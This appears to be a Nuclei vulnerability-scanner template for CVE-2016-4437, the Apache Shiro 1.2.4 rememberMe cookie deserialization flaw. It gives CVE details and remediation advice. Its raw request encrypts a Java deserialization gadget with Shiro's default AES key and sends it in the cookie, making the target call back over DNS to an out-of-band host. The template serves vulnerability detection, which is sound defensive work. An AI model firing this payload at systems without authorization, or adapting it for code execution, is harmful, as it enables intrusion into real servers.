CVE-2016-4437: Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability

id: CVE-2016-4437

info:
  name: Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.
  impact: |
    Remote code execution
  remediation: |
    Upgrade to a patched version of Apache Shiro
  reference:
    - https://github.com/Medicean/VulApps/tree/master/s/shiro/1
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437
    - http://packetstormsecurity.com/files/137310/Apache-Shiro-1.2.4-Information-Disclosure.html
    - http://packetstormsecurity.com/files/157497/Apache-Shiro-1.2.4-Remote-Code-Execution.html
    - http://rhn.redhat.com/errata/RHSA-2016-2035.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2016-4437
    cwe-id: CWE-284
    epss-score: 0.94303
    epss-percentile: 0.99938
    cpe: cpe:2.3:a:apache:shiro:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: shiro
  tags: cve2016,cve,apache,rce,kev,packetstorm,shiro,deserialization,oast

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: rememberMe={{base64(concat(base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="),aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("kPH+bIxk5D2deZiIxcaaaA=="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="))))}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
# digest: 4a0a00473045022100bafa86c6676deb1d02b247bfd4a96290e04782ec58fed160e87a54efe4869309022068c34d4e04f0a7be270bb25635c48b23ea97bc55cc5fb327d1357034ed0c04df:922c64590222798bb761d5b6d8e72950